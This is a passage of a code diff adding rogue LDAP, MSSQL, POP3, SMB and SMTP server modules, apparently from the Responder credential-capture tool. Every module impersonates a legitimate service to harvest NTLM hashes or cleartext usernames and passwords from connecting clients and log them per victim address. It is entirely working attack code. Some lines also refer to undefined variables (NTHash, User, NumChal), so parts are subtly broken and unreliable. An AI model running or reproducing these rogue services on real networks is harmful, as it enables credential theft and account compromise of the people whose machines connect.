from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import *
def ParseSearch(data):
Search1 = re.search('(objectClass)', data)
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
if Search1:
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
if Search2:
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
if Search3:
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client):
SSPIStart = data[42:]
LMhashLen = struct.unpack('<H',data[54:56])[0]
if LMhashLen > 10:
LMhashOffset = struct.unpack('<H',data[58:60])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[64:66])[0]
NthashOffset = struct.unpack('<H',data[66:68])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[72:74])[0]
DomainOffset = struct.unpack('<H',data[74:76])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "LDAP-NTLMv1-%s.txt" % client)
print text("[LDAP] NTLMv1 Address : %s" % client)
print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
print text("[LDAP] NTLMv1 Hash : %s" % NtHash)
WriteData(Outfile, WriteHash, User+"::"+Domain)
if LMhashLen < 2 :
print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
if Search1:
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall.calculate()
return str(NTLMChall)
if Search2:
ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60":
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen]
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == "\x80":
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "LDAP-Clear-Text-Password-%s.txt" % client)
WritePass = 'LDAP: %s: %s:%s' % (client, UserDomain, Password)
if PrintData(outfile, WritePass):
print text("[LDAP] Client : %s" % color(client, 3, 0))
print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
print text("[LDAP] Password : %s" % color(Password, 3, 0))
WriteData(outfile, WritePass, WritePass)
if sasl == "\xA3":
Buffer = ParseNTLM(data,client)
return Buffer
elif Operation == "\x63":
Buffer = ParseSearch(data)
return Buffer
else:
print '[LDAP]Operation not supported'
# LDAP Server class
class LDAP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
Buffer = ParseLDAPPacket(data,self.client_address[0])
if Buffer:
self.request.send(Buffer)
except socket.timeout:
pass

139
servers/MSSQL.py Normal file
View file

@ -0,0 +1,139 @@
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
class TDS_Login_Packet():
def __init__(self, data):
ClientNameOff = struct.unpack('<h', data[44:46])[0]
ClientNameLen = struct.unpack('<h', data[46:48])[0]
UserNameOff = struct.unpack('<h', data[48:50])[0]
UserNameLen = struct.unpack('<h', data[50:52])[0]
PasswordOff = struct.unpack('<h', data[52:54])[0]
PasswordLen = struct.unpack('<h', data[54:56])[0]
AppNameOff = struct.unpack('<h', data[56:58])[0]
AppNameLen = struct.unpack('<h', data[58:60])[0]
ServerNameOff = struct.unpack('<h', data[60:62])[0]
ServerNameLen = struct.unpack('<h', data[62:64])[0]
Unknown1Off = struct.unpack('<h', data[64:66])[0]
Unknown1Len = struct.unpack('<h', data[66:68])[0]
LibraryNameOff = struct.unpack('<h', data[68:70])[0]
LibraryNameLen = struct.unpack('<h', data[70:72])[0]
LocaleOff = struct.unpack('<h', data[72:74])[0]
LocaleLen = struct.unpack('<h', data[74:76])[0]
DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
self.AppName = data[8+AppNameOff:8+AppNameOff+AppNameLen*2].replace('\x00', '')
self.ServerName = data[8+ServerNameOff:8+ServerNameOff+ServerNameLen*2].replace('\x00', '')
self.Unknown1 = data[8+Unknown1Off:8+Unknown1Off+Unknown1Len*2].replace('\x00', '')
self.LibraryName = data[8+LibraryNameOff:8+LibraryNameOff+LibraryNameLen*2].replace('\x00', '')
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[30:32])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv1-Client-%s.txt" % client)
if PrintData(outfile,User+"::"+Domain):
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
print text("[MSSQL] NTLMv1 Hash : %s" % color(LMHash+":"+NTHash, 3, 0))
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
if NthashLen > 60:
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv2-Client-%s.txt" % client)
if PrintData(outfile,User+"::"+Domain):
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
print text("[MSSQL] NTLMv1 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteData(outfile,WriteHash,User+"::"+Domain)
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(data, client):
TDS = TDS_Login_Packet(data)
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-PlainText-Password-%s.txt" % client)
WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password)
if PrintData(outfile,WritePass):
print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0))
print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0))
print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0))
print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
WriteData(outfile, WritePass, WritePass)
# MSSQL Server class
class MSSQL(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
# Pre-Login Message
if data[0] == "\x12":
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
# NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
# NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except socket.timeout:
pass
self.request.close()

40
servers/POP3.py Normal file
View file

@ -0,0 +1,40 @@
import os
import settings
from SocketServer import BaseRequestHandler
from packets import POPOKPacket
# POP3 Server class
class POP3(BaseRequestHandler):
def SendPacketAndRead(self):
Packet = POPOKPacket()
self.request.send(str(Packet))
data = self.request.recv(1024)
return data
def handle(self):
try:
data = self.SendPacketAndRead()
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
data = self.SendPacketAndRead()
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "POP3-Clear-Text-Password-%s.txt" % self.client_address[0])
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
text("[POP3] Address : %s" % self.client_address[0])
text("[POP3] Username : %s" % User)
text("[POP3] Password : %s" % Pass)
data = self.SendPacketAndRead()
else :
data = self.SendPacketAndRead()
except Exception:
pass

361
servers/SMB.py Normal file
View file

@ -0,0 +1,361 @@
import struct
import settings
from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
from SocketServer import BaseRequestHandler
from utils import *
# Detect if SMB auth was Anonymous
def Is_Anonymous(data):
SecBlobLen = struct.unpack('<H',data[51:53])[0]
if SecBlobLen < 260:
LMhashLen = struct.unpack('<H',data[89:91])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
if SecBlobLen > 260:
LMhashLen = struct.unpack('<H',data[93:95])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
def Is_LMNT_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
if Dialect[0] == "NT LM 0.12":
return "\x00\x00"
if Dialect[1] == "NT LM 0.12":
return "\x01\x00"
if Dialect[2] == "NT LM 0.12":
return "\x02\x00"
if Dialect[3] == "NT LM 0.12":
return "\x03\x00"
if Dialect[4] == "NT LM 0.12":
return "\x04\x00"
if Dialect[5] == "NT LM 0.12":
return "\x05\x00"
if Dialect[6] == "NT LM 0.12":
return "\x06\x00"
if Dialect[7] == "NT LM 0.12":
return "\x07\x00"
if Dialect[8] == "NT LM 0.12":
return "\x08\x00"
if Dialect[9] == "NT LM 0.12":
return "\x09\x00"
if Dialect[10] == "NT LM 0.12":
return "\x0a\x00"
#Set MID SMB Header field.
def midcalc(data):
pack=data[34:36]
return pack
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data):
pack=data[30:32]
return pack
#Set TID SMB Header field.
def tidcalc(data):
pack=data[28:30]
return pack
def ParseShare(data):
packet = data[:]
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
if a:
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client):
SecBlobLen = struct.unpack('<H',data[51:53])[0]
BccLen = struct.unpack('<H',data[61:63])[0]
if SecBlobLen < 260:
SSPIStart = data[75:]
LMhashLen = struct.unpack('<H',data[89:91])[0]
LMhashOffset = struct.unpack('<H',data[91:93])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[97:99])[0]
NthashOffset = struct.unpack('<H',data[99:101])[0]
else:
SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0]
LMhashOffset = struct.unpack('<H',data[95:97])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[101:103])[0]
NthashOffset = struct.unpack('<H',data[103:105])[0]
if NthashLen == 24:
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[105:107])[0]
DomainOffset = struct.unpack('<H',data[107:109])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[113:115])[0]
UserOffset = struct.unpack('<H',data[115:117])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
print text("[SMB] NTLMv1 (SSP) Address : %s" % client)
print text("[SMB] NTLMv1 (SSP) Username : %s\\%s" % (Domain, Username))
print text("[SMB] NTLMv1 (SSP) Hash : %s" % SMBHash)
outfile = "./logs/SMB-NTLMSSPv1-Client-"+client+".txt"
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
WriteData(outfile, WriteHash, Username+"::"+Domain)
if NthashLen > 60:
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[109:111])[0]
DomainOffset = struct.unpack('<H',data[111:113])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[117:119])[0]
UserOffset = struct.unpack('<H',data[119:121])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
print text("[SMB] NTLMv2 (SSP) Address : %s" % client)
print text("[SMB] NTLMv2 (SSP) Username : %s\\%s" % (Domain, Username))
print text("[SMB] NTLMv2 (SSP) Hash : %s" % SMBHash)
outfile = "./logs/SMB-NTLMSSPv2-Client-"+client+".txt"
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteData(outfile, WriteHash, Username+"::"+Domain)
# Parse SMB NTLMv1/v2
def ParseLMNTHash(data,client):
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
if NthashLen > 25:
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen]
LmHash = FullHash.encode('hex')[:32].upper()
NtHash = FullHash.encode('hex')[32:].upper()
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var)
print text("[SMB] NTLMv2 Address : %s" % client)
print text("[SMB] NTLMv2 Username : %s\\%s" % (Domain, User))
print text("[SMB] NTLMv2 Hash : %s" % NtHash)
outfile = "./logs/SMB-NTLMv2-Client-"+client+".txt"
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
WriteData(outfile, WriteHash, Username+"::"+Domain)
if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper()
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var)
print text("[SMB] NTLMv1 Address : %s" % client)
print text("[SMB] NTLMv1 Username : %s\\%s" % (Domain, User))
print text("[SMB] NTLMv1 Hash : %s" % NtHash)
outfile = "./logs/SMB-NTLMv1-Client-"+client+".txt"
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
WriteData(outfile, WriteHash, Username+"::"+Domain)
def IsNT4ClearTxt(data):
HeadLen = 36
Flag2 = data[14:16]
if Flag2 == "\x03\x80":
SmbData = data[HeadLen+14:]
WordCount = data[HeadLen]
ChainedCmdOffset = data[HeadLen+1]
if ChainedCmdOffset == "\x75":
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" %(User,Password))
# SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
if len(data) < 1:
print hexdump(data)
break
##session request 139
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
#Customize SMB answer.
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
IsNT4ClearTxt(data)
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(4096)
if data[8:10] == "\x73\x00":
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseSMBHash(data,self.client_address[0])
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = SMBSession2Accept()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Tree Connect IPC Answer
if data[8:10] == "\x75\x00":
ParseShare(data)
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Tree Disconnect.
if data[8:10] == "\x71\x00":
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##NT_CREATE Access Denied.
if data[8:10] == "\xa2\x00":
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Trans2 Access Denied.
if data[8:10] == "\x25\x00":
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##LogOff.
if data[8:10] == "\x74\x00":
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except socket.timeout:
pass
# SMB Server class, old version
class SMB1LM(BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
##session request 139
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body.calculate()
Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except Exception:
self.request.close()
pass

40
servers/SMTP.py Normal file
View file

@ -0,0 +1,40 @@
import os
import settings
from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
# ESMTP Server class
class ESMTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(SMTPGreeting()))
data = self.request.recv(1024)
if data[0:4] == "EHLO":
self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024)
if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
Username = b64decode(data[:len(data)-2])
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
Password = b64decode(data[:len(data)-2])
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "SMTP-Clear-Text-Password-%s.txt" % self.client_address[0])
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
print text("[SMTP] Address : %s" % color(self.client_address[0], 3, 0))
print text("[SMTP] Username : %s" % color(Username, 3, 0))
print text("[SMTP] Password : %s" % color(Password, 3, 0))
## FIXME: Close connection properly
except Exception:
pass

0
servers/__init__.py Normal file
View file